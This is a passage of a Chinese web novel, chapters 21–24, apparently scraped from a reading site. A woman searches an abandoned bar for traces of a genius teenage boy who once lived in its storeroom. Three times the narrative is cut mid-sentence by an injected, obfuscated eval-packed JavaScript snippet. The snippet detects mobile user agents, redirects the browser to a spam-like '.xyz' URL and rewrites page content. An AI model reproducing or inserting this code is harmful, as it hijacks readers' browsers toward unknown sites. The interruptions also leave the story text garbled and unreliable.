后来她在混迹北京三元里地下酒吧嘶吼叛逆的摇滚,歌词里满是暴力、性和反抗。其实她没有见过多少真正的黑暗与贫穷。 乌曼因拍了拍牛仔裤上并不存在的灰尘,撑着她的拖把站起来,说:“带我去酒吧里看看吧。” 王兴旺打了个哈欠:“去干嘛,五年没开门里面都是灰,我钥匙没了,进去得撬锁。” “不管,我就要进去看看有什么线索。” 王兴旺:“……你当年掘地三尺没有找到人,现在进去干嘛?” “不一样,以前是以前,现在是现在,我已经不是以前的我了,我现在是钮钴禄·曼因,”乌曼因眯起眼睛,“我不信他什么线索都没留下。” 王兴旺所讲述的只是他作为局外人看到的,更多东西王兴旺也不太清楚,比如李藏之父亲到底犯了什么罪、李藏之为什么不愿意重新回去上学…… 但这些都过去了,她来这儿不是为了听这些没法改变的曾经故事的,深究过去没有意义,向前看才最重要。乌曼因的步伐永远坚定,仿佛有更远大的星辰指引。 乌曼因要的是,在经历了贫穷和落魄后,李藏之能有一个光明的未来。 她将她的乐队带出了黄钟县,没道理带不出区区李藏之。 她推开门,又和不明所以的老头老太打了个招呼,健步如飞地把他们的老板拎出了棋牌室。 脆身板如王兴旺,差点热化在黄钟县的40度的温度下。 21. 人生若只如初见 酒吧就在棋牌室的隔壁,三人杵在门外对着紧闭的金属闸门大眼瞪小眼。 庞清伸手戳了戳门锁上结的蜘蛛网,沾了满手灰。 头顶的的霓虹灯招牌灯管早褪了色,用灯带勾勒出花体连笔的“Cats”,用现在的眼光看土爆了,在当年那可是真潮,潮得有点风湿了。 “这门能不能踹开?”庞清突然蹦出句。 乌曼因闻言默默往旁边让了两步,做了个“请”的手势:"请开始你的表演。" 庞清本来只是随口说说,但见两个人都看着他,只好硬着头皮摆好姿势,气势很足地大喝一声,助跑起跳:“看腿!” “咣当”一声巨响,闸门纹丝不动,倒是震落二两灰。 庞清抱着右脚单腿直蹦跶,像只被烫着爪子的蠢狗。 “就知道指望不上。”乌曼因说着风凉话。 王兴旺:“这门花了我几万块呢,哪有那么好开。” 庞清揉着震麻的脚踝跳脚,一头艺术的齐肩发乱甩:“你们行你们上啊。” “走侧窗,”乌曼因戏看够了,指了指酒吧侧面,“我记得那个时候我总被蚊子咬,因为窗户外面就是绿化,我们可以爬窗户进去。” 就是偷感有点重。 庞清瞥了眼旁边装聋作哑的王兴旺:“屋主就在这儿站着呢,怎么整得跟做贼似的?” “这问题你该问屋主吧,谁让他把钥匙丢了。” 王兴旺从鼻子里哼了一声:"屋主现在就想把你们俩都轰出去。" 采纳了乌曼因的建议,三人踩着杂草绕到酒吧侧面,找到一块合适的窗户开始下手。 王兴旺一脸心疼:“你为什么这么熟练?” “以前那家伙经常拆,我偶尔帮下忙,杂物间隔壁是配电室,他的一些设备非常耗电,趴窝了就会拆窗户拉电线过来。” 王兴旺:“……” 原来你也是帮凶,大家就这么互相伤害。 废弃的酒吧是个被时光遗忘的角落,空气中弥漫着一股陈旧颓败的味道,人不在了,其他生物进来安逸作窝。 乌曼因打头钻进去时,脚边跑过一只南方大耗子,足有她鞋子那么大。 原本华丽靡艳的灯带已经不发光了,没有它们的衬托,原本鲜亮的门、墙壁与桌椅也只是一堆破木板而已。 乌曼因第一次见到这间酒吧完全没有光的样子。 由于整座酒吧内场全部位于室内,没有窗,没有光线的照射。 像是阴森森、毫无人气的鬼屋。 主厅的灯居然还能亮。 她遮住眼,慢慢地等眼睛适应。 骤亮的灯光里,乌曼因看见舞池地板上用涂料画的五线谱还没褪色。 无人回收的旧卡座已经撕裂露出了内里的海绵,乌曼因仰头看着曾经悬挂音响设备的方向,似乎仍然能听到曾经劲爆的鼓点音乐。 酒吧的主厅被设计成了如同剧院一般的阶梯式,但没有那么陡峭,几人顺着卡座走下去,就走到了舞池里面。 仿佛依稀能看见当年的灯红酒绿,时尚帅哥美女如云。 “你以前就经常在那里喝酒撩妹。”乌曼因指了指DJ台的旁边,对庞清说。 “……这种东西你记得倒是怪清楚的。” “没办法啊,你又不是贝斯手,溜号太明显了。” “这其实是我觉得氛围最好的一个酒吧了,”乌曼因踩着咯吱作响的地板往舞池中央走,“不知道为什么,在这里演出的效果特别好。” 王兴旺说:“李藏之设计的。” “?” 王兴旺有些自暴自弃地开始说:“我说,酒吧的室内结构是李藏之设计的,不然你以为我这么抠门的人会让他住在酒吧里?” “李藏之说,他去过央视的演播厅后,觉得那边的造型于声学上很有利,是经过单独设计过的,他说了很多,我也不太懂。” “但这间酒吧内部结构装修,确确实实是根据他的意见设计建造的,我不知道会不会跟你说的‘听感很好’有关。” 李藏之虽然偷接电线、破解网吧系统、改装信号塔等等等等劣迹斑斑罄竹难书……但他偶尔也会干点正事。 在这方面,黄钟县的人虽然质疑他的人品,但是绝不怀疑他的实力。 乌曼因:“……” 你人还怪物尽其用的嘞。 王兴旺哼哼:“人总要洗澡洗衣服的吧?这些都是我给他解决的,你当他真的是歌剧魅影吗?他还会拿酒吧前台的游戏币玩跳舞机。” 乌曼因一言难尽地看了眼旁边的跳舞机。 其实是拿给她玩了。 但看王兴旺那么愤慨的样子还是闭嘴吧。 再从角门走到长廊,继续往里走,就能看到杂物间了。 乌曼因有很多年没有来过这里了,肌肉记忆让她熟门熟路地穿过长廊、推开门,但一进这破杂物间就唤醒了她很多尘封的记忆。 门不知道为什么被轻易打开了,没有锁。 门框上的风铃轻轻摇曳。 她对于那个男孩的记忆基调是昏暗且不真实的。 没有人会怀念自己落魄的日子。 男孩的无所不能会给她一个错觉。 她打开了那扇门,门背后其实是另一个世界。 而她走了出来。 那个世界就消失了。 男孩也消失了。 乌曼因有点恍惚,她一直觉得李藏之是个从杂物堆里长出来的小精灵,直到现在,她才鲜明地意识到,李藏之其实是一个在这个社会里出生、长大、拥有身份证的人类。 他会笑、会生气,当然也会离开。 是离开,而不是消失。 意味着她可以找到他。 杂乱的大箱子东倒西歪地堆在墙角,墙壁上的灰尘和蜘蛛网密布,墙上的时钟停在了很久以前的时间。 原本李藏之喜欢堆书的角落只剩下空落落的踢脚线。 所有的一切都被蒙上了厚厚的灰尘,包括她曾经睡过的双层铁架床。 她走近了才意识到,这张床其实很小,她的身高可比床高多了。 但对于当时的她和李藏之来说,这张床温暖得好像能容纳所有。 仔细一看,铁架床的钢上似乎颜色有些亮了。 乌曼因蹲下来,用手擦了一下钢条,吹了吹:“这块的灰不对,不久前有人来这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323449|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在这张床上过,是谁?” 王兴旺嘟囔:“反正不是我。” “除了你,谁还有酒吧大门的钥匙吗?” “正规的肯定只有我手里一把,虽然我也忘记放哪了……” 不正规的……在场所有人心里都不由自主冒出同一个名字。 只有那个人有实力、有技术、有动机,而且还没什么底限。 “他后来回来过吗?”乌曼因骤然转头问。 “没有,起码据我所知没有。”王兴旺连连摆手。 “不会因为你把他赶出去所以他流落街头了吧?”乌曼因怀疑地问。 王兴旺跳脚:“我哪敢是他自己不回来——” …… 十年前的春天。 叛逆朋克非主流少女的乌曼因正式在Cats酒吧上岗,开始了自己的第一次县城表演。 舞台下是一个硕大的舞池,将卡座挤得只能贴墙设了一圈。舞池里已经叠起了三个香槟塔,昏暗的灯光摇曳,县城自诩最时尚的年轻男女穿着最新潮的衣服,嬉戏打闹。 酒吧的装潢对她这个从北京来的姑娘来说过时了,声光设备却没有,炫彩的灯光规律舞动,遮掩了斑驳的壁纸和沙发套。 音质紧实、空间感层次分明,在两层楼高的空旷舞厅发挥了最好的混响。 恍惚间好像在一个真正的演唱会现场上。 此时她只要闭上眼睛放空大脑,嘹亮到极致的歌声自然而然会把副歌部分的磅礴全数宣泄出去,带着她充沛的情感。 所有人都在被她的情绪所感染。 全场的气氛瞬间high爆,热情被点燃的客人们纷纷从卡座里跳下来,下饺子似的加入了舞池中央的酒精的狂欢。 有人兴奋过头了就往台上丢荧光棒,不慎被丢到额角误伤的乌曼因倒没有全然融入迷乱的氛围,她郁闷地想,这可是工伤,得加钱。 看起来效果不错,乌曼因自觉功成身退,和几个顾客击了掌后便下台换正式主唱。整个白天到半夜都没休息,困得要死的她好不容易才从兴奋的人群中挣脱出来,提着脚边的蛇皮袋,让王兴旺带她去说好给她的房间。 染着一头绿毛的老板王兴旺还在跟熟客拼酒,没空搭理她。 他打了个呵欠,扔给她一串钥匙,往里随意一指:“往里面走,走廊上左手边门最大的那个是空房间,你先在那里对付一晚吧。” 然后就当没她这个人,继续在朋友的起哄下开香槟,喷了自己一脸。 附近的老炮儿轰然笑开。 乌曼因:“……” 哪里的老男人都是这么讨人厌。 走廊漫长又漆黑,幽深如巨兽的食道。她扛着蛇皮袋,一路往里摸索,找到个挺大、看起来是王兴旺所指的房门用钥匙打开,使劲推开厚重的板门,门轴发出尖利瘆人的嘎吱声…… 黑暗的房间里,月光从略薄的窗帘透过,屋里的各种大件勾勒出阴森的轮廓,择人而噬。 而在乌曼因的对面,一束烛光忽隐忽现,烛芯猛地炸开一朵灯花,照亮一张苍白瘦弱的小脸。 没什么表情的小脸仰着头看她,胳膊细瘦,跪在地上,像受了冤屈、徘徊不去的鬼魂。 22. 怪胎 “你拿着蜡烛在干什么,请笔仙?”乌曼因问,“这也不是笔啊,蜡烛仙?” 她摸索着把灯打开。 房间里弥漫着一股淡淡的蜡油味,混合着机械和灰尘的气息。 小孩被砸疼了,没说话,只是用瘦骨嶙峋的手捂着头,从她手底下爬出来。 她这才看清眼前是个约莫十四五岁的男孩,穿着明显大一号的T恤,那双眼睛格外大而黑亮。 他放下手里的蜡烛和尺子,从床头书架上拿出一本封皮老旧的蓝色物理习题册,哗啦啦地往后翻,书页里露出密密麻麻的字迹,晃得人眼晕。 摊开一页,似乎找到了想要的内容,嘴里念着乌曼因似懂非懂的东西,在写满字的角落里见缝插针写画乌曼因完全不懂的符号:“一个圆心落于二倍焦距的圆,当半径小于f,圆上的点通过凸透镜成的像为标准椭圆;而当半径大于f,部分成双曲线实像,部分为虚像,恰好写成复数形式……” 乌曼因见他不理人,又好奇他在干什么,只能伸着脖子去看他写的东西。她蹲下身时闻到了小孩身上淡淡的肥皂味:“关于悬链线、抛物线和无限远交点双曲线的特征……” 乌曼因辍学前成绩还算可以,小孩侧过身子不给她看,她只隐约在一堆天书般的文字里看到熟悉的“抛物线/双曲线”,忍不住说:“抛物线和双曲线不是一个东西吧。” 以她高中毕业的学历,对“kx+b”和早已从记忆里漏走的双曲线方程还是颇有了解的。 “都是圆锥曲线在平面上的不同表征,”小孩对这个话题终于有了反应,头也不抬地说,“区别无非是在三维中与赤道相切还是相交而已。” 乌曼因嘴巴长了又合,大半夜的不睡觉在这里听一个又小又瘦的小孩讲数学、大概是数学,似乎有点傻,而如果一个字都听不懂的话那好像更是连傻子都不如。 她清了清嗓子,决定换个话题。 “自我介绍一下,我是乌曼因,是——” “新来的驻唱歌手,我知道。” “你怎么知道?”乌曼因惊讶地挑眉,她今天才刚上岗。。 “回来的时候路过看到了。” “哦?你听到我唱歌了,感觉怎么样?” “你还可以,”小孩居然真的评价了,他顿了顿,补充道,“除你以外,全部不行,都是噪音。” “……?” 小孩像是打开了话匣子,语速突然快了起来:“键盘手仗着收声远一通乱按,只会甩头发,不知道的还以为是拖把放错地方了。” “贝斯的存在感比台下的老板还低,全程根音散步还踩不准拍子。鼓手双踩踩得比癫痫心律还不齐。至于DJ,再加电怎么不把他自己电死,可以考虑转行去吹唢呐,反正都是送走观众,没什么区别。” “至于你,”小孩漫不经心地按了两下铅笔芯,终于正眼瞧她,“你副歌最高音的频率达到了880HZ,A5,唱高了,显得跟整首歌有些脱节。” 他没有等乌曼因从毒液喷洒般的评价震撼中回过神来,自顾自地开腔,从最高音那句毫无蓄力地直冲云霄:“Let''sgetloud——” 直接飙到了男歌手难以达到的第五个音区。 那声音清亮得不可思议,在狭小的房间里回荡,震得乌曼因耳膜发颤。 有些东西内行人才知道门道。 外行人觉得很牛逼的时候,内行人已经跪下了。 乌曼因目瞪口呆:“不是,哥你也是驻唱歌手吗?” 小孩皱了皱眉,似乎对“哥”这个称呼有点意见,他的眼神跟看傻子一样:“我没有成年。” 乌曼因根本不管什么成年人的脸面,把蛇皮袋往地上随便一扔,蹲下来腆着脸凑到小孩旁边,眼睛亮得像发现了宝藏:“你是绝对音感吗?” “你怎么找到这个房间里来的?”小孩没有回答,反而问她。 “哦,”乌曼因摇了摇手上的钥匙,金属碰撞发出清脆的声响,“王老板让我今晚睡这里。” 她往小孩身后瞄了眼。 员工宿舍乱得像杂物房——或许就是杂物房,比想象中还要简陋。 一张双层床的钢铁架子和木制床板依然维持了它们在厂房内的原样,批发似的堆在一起,看起来像是布置完其他宿舍后多出来的材料。 下铺被小孩占据了,铺着洗得发白的蓝色床单;上层连木板都没铺,只有几根横七竖八的钢管,估计今晚是睡不上床了。 小孩察觉到她遗憾的目光,笔尖一顿,垂下眼,生硬地接上了上一个话题:“我不知道什么是绝对音感。” “你能说出音名,说明对音乐有初步了解,我们音乐生视唱练耳可以练相对音感,但是绝对音感是不一样的,”乌曼因解释,“绝对音感是在没有给基准音的情况下,能分辨任一音的音高。” 小孩摸了下自己的耳朵,像是第一次听说这个能力,不确定地说:“我应该可以。” “来试试嘛,绝对音感超级厉害的。”乌曼因从蛇皮袋里变魔术般掏出一把尤克里里。 地下音乐出身的乌曼因会一点吉他,但是吉他实在太大了,不方便带着流浪,于是退而求其次买了把尤克里里。 这可是她的宝贝,陪她走过了无数个街头卖艺的日子。 实在没找到工作、又没钱吃饭的话,就随便找个人多的地方往地上一坐,摆个破碗,弹起尤克里里,开张。 她随意拨了根弦。 小孩耳朵一动:“392赫兹,Sol,G4。” “523赫兹左右,高音Do。” 乌曼因特意压着弦,拨得与标准音略有偏差。 小孩顿了下:“275赫兹,C#4。” 妈妈这里有神! 乌曼因这下不得不相信了,在酒吧老板分配给她的“员工宿舍”里,居然长着一只拥有绝对音感的小孩。 她对于床被霸占的怨念顿时散了不少。 收起尤克里里,她打量了一下杂物间的环境。 墙角堆着不知名的电器零件和杂乱的线缆,天花板上垂下一根裸露的电线,末端接了个灯泡。 唯一整洁的是那个用钢管和木板拼凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323450|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的书架,上面整齐地码放着各种旧书和笔记本,其中不乏高等数学和物理学的专业书籍。 床边放着一个小纸箱,里面整齐地摆放着几个电路板和工具,旁边是用易拉罐改造的小台灯。 要不是小孩在黑暗里玩火,她还真不一定能发现杂物堆里住了人。 乌曼因不放心地绕房间摸了一圈,总算没在屋子里发现其他生物,蟑螂除外。 “你怎么会住在这里?” “我没地方去,”小孩像是终于意识到乌曼因对他小屋的威胁,警惕地把书收好,“这里很长时间没人管,又有一张床,我就住进来了。” 乌曼因瞅瞅角落里杂乱的线头和不知名的电器堆,和还算精心打理的书架。 这个孩子显然在这里住了不短的时间,并且尽力把这个简陋的空间变成了自己的“家”。 她一直自认为是一个心很硬的姑娘,在街头混迹这么长时间,见惯了人情冷暖,也不知道为什么就心软了,也许是没必要和一个瘦弱小孩计较。 她把自己的行李往地上一搁。 “反正这儿也不缺床,以后我就是你室友了,”她摸摸自己外套的兜,摸出两个硬币扔小孩书上,“先来后到,你是寝室长,请多多指教。” 小孩愣住了,黑眼睛睁得大大的:“你不赶我走?” “赶什么?我自个也睡过公园长椅、睡过烂尾楼,”乌曼因唱了一晚上歌,累得够呛,把床单从自己的蛇皮袋里拖出来,铺到地上,顺便大力赞赏小孩的行为,“我没你那么聪明,你做的对,找个没人的房间,一张床,几个垫子,有水有电,等人发现了再跑也来得及。” “就是这房间有点冷,没空调,和烂尾楼也差不多,可惜我以前没你这个脸皮,我一般睡的都是没主的烂尾楼。” “帮我去关个灯,谢谢。”说完她就没声了。 小孩半天没等到她再说话,抬头一看,原来这个陌生女人趴在床单上、随意裹着一角被子就睡着了。 她长得很好看,是他这辈子见过最好看的人,但厚重的舞台妆遮不住她眼下的青黑。 旁边的蛇皮袋和行李大刺刺敞开,露出里面的物品。 小孩走过去,发现行李里放着黑色镶钻手机、昂贵的香水,还有几件质地精良的衣服,一切光鲜亮丽的都市时尚女人有的她都不缺。 一个睡烂尾楼的时尚姑娘。 李藏之第一次见到比自己还心大的人。 他睡眠不好,经常惊厥,以前想着被人发现就打包东西走人。 他看着乌曼因安静的睡颜,紧绷的神经慢慢放松下来,户主这么好,那他晚一点儿再离开应该也没有关系。 他吹灭了那支快要燃尽的蜡烛,轻手轻脚地走过去关灯。 灯关上,房间里只剩下窗外透进来的微弱月光。 他第一次有记忆和陌生人睡一个房间,爬到床上,直愣愣地看着黑暗中的天花板。 听着乌曼因均匀的呼吸声,慢慢地,也闭上了眼睛。 睡前他心想,明天把书架拆掉,给上铺的木板重新搭上好了。 23. 线索 在他们认识的第二天,李藏之拆书架装床板折腾到半夜。 乌曼因端着夜宵推门进来时,就看见小孩蹲在上铺拧螺丝钉,皱巴巴的黑色T恤后领露出一截白皙的脖颈,汗湿的碎发黏在额前。 他把下铺让给了她,自己拆了书架、装好床板,睡到了上铺。 “哟,挺自觉啊。” 乌曼因端着夜宵推门进来时,就看见小孩这副模样,吹了声口哨。 目光扫过焕然一新的床铺,连她昨晚随手扔在地上的被单都被叠好放在了下铺。 每天唱歌唱到半夜、结束就想躺尸的驻唱歌手乌曼因沿着床满意地转了一圈,觉得他很识相,对此行为大力赞赏。 小孩头也不抬:“只是怕你半夜从上铺摔下来砸到我。” 乌曼因:“?” 她没好气地把自己的夜宵面包掰了一半扔给小孩:“吃吧你,闭嘴别说话。” 面包在空中划出一道抛物线,李藏之条件反射地伸手接住,动作敏捷得像只猫。他低头看了看手里的面包,又抬头看了看乌曼因:“谢了。” 乌曼因在属于她的下铺坐下来,新奇地左右摸摸,顺手从书堆里捞了几本翻了翻,发现有些像教材的蓝本扉页上工工整整写着“李藏之”三个字,很孩子气的字体。 和她这种专练花体签名的社会人不一样。 “李藏之是你的名字吗?”乌曼因随口问道,手指继续翻动着书页。 上铺的小孩顿了下,从鼻腔中发出一个不太明显的音:“嗯。” “你爸爸妈妈呢?” 小孩看起来并不想回答问题,反问:“那你爸爸妈妈呢?” 乌曼因想起离婚后两边都不欢迎她、像甩包袱一样把她推来推去的那两个老登:“好吧,我闭嘴。”她耸耸肩,把书放回原处。 小孩又哼出轻蔑的鼻音。 乌曼因觉得她和奇怪的室友相处得还不错。 至于酒吧那抠门老板,见她住了一晚没提出异议,果然就再也没提过给她安排住处这个话题,让她继续睡在杂物间里了。 乌曼因乐得捡个免费室友。 又过了两年,二十岁的乌曼因从北京回来,带着满身的荣誉和奖金,跟兴奋的鸟儿一样,拖着行李箱撞开杂物间门。 阳光透过窗户照进来,灰尘在光束中飞舞,像是无数细小的生命在无声地喧嚣。 她保持着推门的姿势僵在原地,发现她最嫌弃也最熟悉、总是挡着她上床路的书堆已经不见了。 上铺床板上的水洗蓝色被单连带着它的主人一起消失。 “李藏之?” 没有人回应她,她和李藏之生活了两年的杂物间空空荡荡。 李藏之不仅卷走了铺盖,还把上铺的床板尽数拆完,将木板堆到杂物堆里。 一切和她第一次推开这扇门看到的一样。 只有一个人的上下铺。 好像时间偷偷倒流回了她入住的那天,不同的是在那个时间线上,李藏之选择了离开。 没有那个总是蜷缩在上铺看书的小鬼,没有他宝贝似的护着的那堆电子垃圾,没有一堆天书。 某个存在的事实被彻底抹去。 最开始乌曼因以为是李藏之在和她开玩笑,毕竟这小破孩性格别扭得很,和她吵架气上头了总是摔门而去,然后在几个小时后磨磨蹭蹭回来,眼框红红的,睫毛上还挂着不知哪里沾来的水气。 她翻遍所有李藏之喜欢堆东西的角落寻找他离家出走的线索。 可是没有,连贴在床头那张她钳着李藏之脖子硬要拍摄的大头贴都被撕下来,不见了。 乌曼因在音乐声震耳欲聋的酒吧里呼唤着李藏之,她挤过舞动的人群,逮着酒保和朋友问有没有人见过他。 酒吧的设计很昏暗,她看不太清楚他们脸上的神情,先是回避,再实在磨不过她时勉强吐出一个回答,所有人都告诉她一个不可思议、又很统一的回答。 酒吧里没有李藏之这个人。 “就是总坐卡座角落那个……”她努力比划着小鬼瘦高的轮廓,“我们乐队排练时会在台下骂人的那个小鬼!” “乌姐,你是不是喝多了?从来没见过你说的那个人啊。”他们回答。 乌曼因的脑子一片空白。 她不知道自己是怎么走出酒吧,怎么游荡到街头,她问了很多很多人,黄钟县熟悉的街头在她眼里都变得陌生起来。 最后浑浑噩噩地走进了酒吧对面的派出所。 派出所民警小姐姐听完她的描述,目光若有若无地落在乌曼因身上,带着某种诡异的怜悯,然后告诉她,系统里没有李藏之这个名字。 最后她回到了杂物间,她蜷缩在单人床上,手指无意识地摩挲着床板边缘,在这张给了她无限安全感的床上睡了过去。 月光透过窗帘的缝隙,在地板上画出一道明暗线。 …… 现在乌曼因伸手拂过那些堆积的杂物,指尖沾满了细密的尘埃,在阳光下像撒了层金粉似的闪着细碎的光。 她突然打了个喷嚏,这才意识到一个人的存在就像这些灰尘——以为打扫干净了,可稍微碰一碰,到处都是痕迹。 李藏之留下的谎言其实也只是一种适逢其会。 并不是多么精心,只是恰好缺了缘分,卡在她最需要相信的时候。 庞清恰好嘴贱、酒吧恰好被举报……还有很多其他恰好,她的逃避和李藏之的决绝,像是两条短暂相交又迅速分离的线。 杂物间是货真价实的杂物间,在另一侧的角落里堆满了各种装修剩下的大件,有卡座、椅子、柜子、各种形状的胶合板。 乌曼因住进来的时候它们就已经躺在了这里。 “你确定要翻这些垃圾?”庞清一脸嫌弃地踢了踢脚边的木板,“我可不会帮你。” “用不着,”乌曼因头也不抬地回答,“我自己来。” 庞清被噎得直翻白眼,最后还是骂骂咧咧地走过来,一边说着“破烂有什么好找的”,一边帮她把沉重的木板掀开。 木板下面压着的示波器和合成器露出来时,两人都愣住了。 这些电子垃圾被藏在各种杂物下面,没有多少灰,只是难免有时间的痕迹,外壳已经脆化了。 乌曼因小心翼翼地把示波器搬出来。 示波器上连接着一个话筒,这是李藏之给她做来练音准的。 最开始的时候示波器上的波形乱七八糟。 李藏之评价:“音准像过山车。”气得她把枕头砸在他脸上。 至于旁边那个丑得不忍直视的合成器,则是王兴旺乱花钱的产物。 王老板当时应该是想要直接买个键盘合成器,但是不知道为什么买成了单块效果器,不会使,一气之下扔进杂物堆吃灰。 不得不说王老板的“大方”地乱买东西还是给李藏之带来了很大便利的,连带着让乌曼因占了不少光。 后来乌曼因和李藏之学习音乐创作的时候,网上查到合成器这东西似乎挺好用的。 但贫穷的两人都买不起。 李藏之就上网研究了一下原理,不知道从哪里顺来了两个疑似小学音乐课用的口风琴,拆了键盘,后面安上电路板,自己写了代码刷进去,连接上那块效果器,做成了王兴旺心心念念的键盘合成器。 成本大概是20块钱。 主要是感谢王老板的馈赠。 这件事让乌曼因悟出了一个真理,一定要多看点书,免得上文化人的当。 乌曼因觉得某种意义上来说,王老板克扣她的工资都被李藏之赚回来了。 也不止合成器,李藏之的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323451|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电脑、音响都是从王老板那边顺的。 依稀记得在那个全社会苹果狂热的时代,虚荣的王老板会把弄坏的iPhone随手一丢,李藏之捡了回来,接了HDMI线刷成电脑显示屏。 他倒也没什么品牌狂热,有什么用什么,附近网吧淘汰设备的时候,连酒吧的洗衣机被淘汰了,李藏之都会顺便把上面电路板拆下来。 乌曼因问他有什么用,李藏之说做料板。 后面改装合成器的时候就用上了。 贼不走空。 李藏之无所不能。 无论她提出什么奇思妙想,李藏之在无语地凝视她之后,嘴毒地评价之后,都会任劳任怨地帮她实现。 那段时间每天都像是活在《哆啦A梦》里,别人根本不知道有多爽。 她不缺一台自制的合成器,不缺一个音准训练器,而是一个愿意为她把幻想变成现实的人。 乌曼因再爬进杂物堆里翻找了一下,翻出一个小铁盒子。 打开一看,主板、内存条、硬盘、电源,还有王老板的iPhone,正是李藏之的寒碜电脑。 他居然没把这个带走,也不知道里面的数据还能不能用,能不能找到什么线索。 线虽然凌乱,但都好好接着,除了颜值以外,这就是个完整的电脑,该有的功能它都有,以前没事的时候她也会借来打两把dota。 一帧能玩两帧流畅三帧电竞。 王老板扫了眼熟悉的iPhone,哼了一声,在心里的记仇小本本又记了李藏之一笔。 乌曼因摸索着把电源插上,主板上的电源灯顺利亮起,惊喜还没过去,她就意识到不对。 她早就忘记这神奇的破电脑是没有电源键的,李藏之自己用的时候是…… 拿个硬币碰下就开。 问题是她不会。 庞清见她呆住,很有眼色地建议:“要不还是找专业人士吧,我带你去修电脑的地方。” 乌曼因把小铁盒子的盖子盖好,她也不嫌弃上面的铁锈,自顾自扔进自己的包里:“你们黄钟县的人我信不过,等拿回北京再找人看看。” 庞清:“……” 李藏之你看看你干了什么! 都怪你一走了之让我们黄钟县的风评被害。 哦我也是帮凶,那没事了。 …… 乌曼因没有找到李藏之的书,除了生活用品外,他带走的只有他的书。 那些书基本都写着她看不懂的内容,英语和希腊字母交错跳动,仿佛在嘲笑她的智商。 曾经她也不是很有学习劲头的人,翻了几本,发现能看懂的只有一本自印的《全频带阻塞干扰》。 人类在看不懂的科学和普通群众文学中间插了个科幻小说,真是伟大的发明。 “说起来,他一直住在这里,不用上学的吗?义务教育不是必须读完吗?”乌曼因突然问道。 庞清和李藏之相看两厌,自然不知道。 倒是王兴旺解释道:“义务教育不上完当然犯法,但是问题是,李藏之很早就跳过级,他是高中生,高中生休学谁能管,谁都管不了。” “哪所高中?” “黄钟县高级中学,我们黄钟人基本上都是那学校毕业的。” “那我们去那里看看吧。”乌曼因拍拍身上的灰,精神很好,打算一天内跑完所有副本的样子。 王兴旺这回也跟庞清有了同样的意识,被坑上贼船了。 他转身就溜,嘴里还念叨着:“我忽然想起我老婆生孩子了,就不跟你一起去了。” 庞清:“……姐姐,现在是暑假。” 这点乌曼因早有考虑:“你信高三有暑假,还是信我是秦始皇?” 庞清和乌曼因对视三秒,败下阵来:“始皇陛下,这边请。” 24. 中心藏之,何日忘之 由于王兴旺这老东西脆得跟威化饼干似的,硬说乌曼因拉着他这个老人家出门是虐待老人,死活不去,面对这人快躺地上了的滚刀肉架势,光脚的不怕穿鞋的,乌曼因拿他也没办法。 只能和庞清两个人继续上路。 乌曼因望着不大不小的校园大门,和门柱上斑驳的校训铭牌,感叹道:“我感觉我现在是个解密游戏的主人公,拿着线索到处跑,解开环环相扣的谜底我就能获得最终奖励,奖励可能是一个毒舌小鬼。” “照你这么说我是新手指引NPC?”庞清没好气。 “派蒙,”乌曼因指了指门口比庞清壮了一圈的保安说,“麻烦快去和保安对话,为旅行者触发校园地图。” 庞清咬牙,在心里默念再听没心没肺坏女人话的话没有好下场。 然后脚步不听使唤骂骂咧咧去了。 这边坏女人正举着手机在和校园大门合影,感性地想着十多年前李藏之也曾经从这里走进学校,如果不是混蛋爹妈他可能就是传说中校园片里门门功课满分的天之骄子,倒也不会沦落在酒吧和她相遇,一时间有种“我吹过你吹过的晚风”的小忧伤。 ……就是今天风真挺热的。 庞清脸臭臭地拿了两张游客证,扔给了乌曼因一个,强调:“还好我也是毕业生,不然就你自己过来肯定进不去。” 乌曼因把游客证挂到脖子上,嘻嘻哈哈给他比了个大拇指:“靠谱,多谢啦。” 两人走进学校,穿过热得能把人晒化的操场,乌曼因和庞清终于找到了学生处的办公楼。 乌曼因抬头看了看那栋灰扑扑的建筑:“你们学校真是很有历史的厚重感。” 庞清抹了把汗:“小地方那肯定比不上北上广,有本事你出钱帮我们翻修啊。” “行啊,”乌曼因爽快道,“我要是能找到李藏之,给你们高中捐一千万还愿。” 庞清震惊:“我随口说说的……你这么大方?” 乌曼因想想自己为李藏之买的房子到现在已经涨了十几倍,反正打算卖了,羊毛出在羊身上。 推开门,冷气扑面而来。 虽然外面破了点,里子还算很不错的。 有空调的学校就是好学校,不知道曾经李藏之有没有体验过。 杂物间是没有空调的,后来乌曼因实在受不住了才攒了一台二手货。 切实提高了两人原先水深火热的生活质量,至少不用半夜热醒起来冲凉水澡。 学生处值班的是个戴眼镜的年轻女老师,正在电脑前敲敲打打。 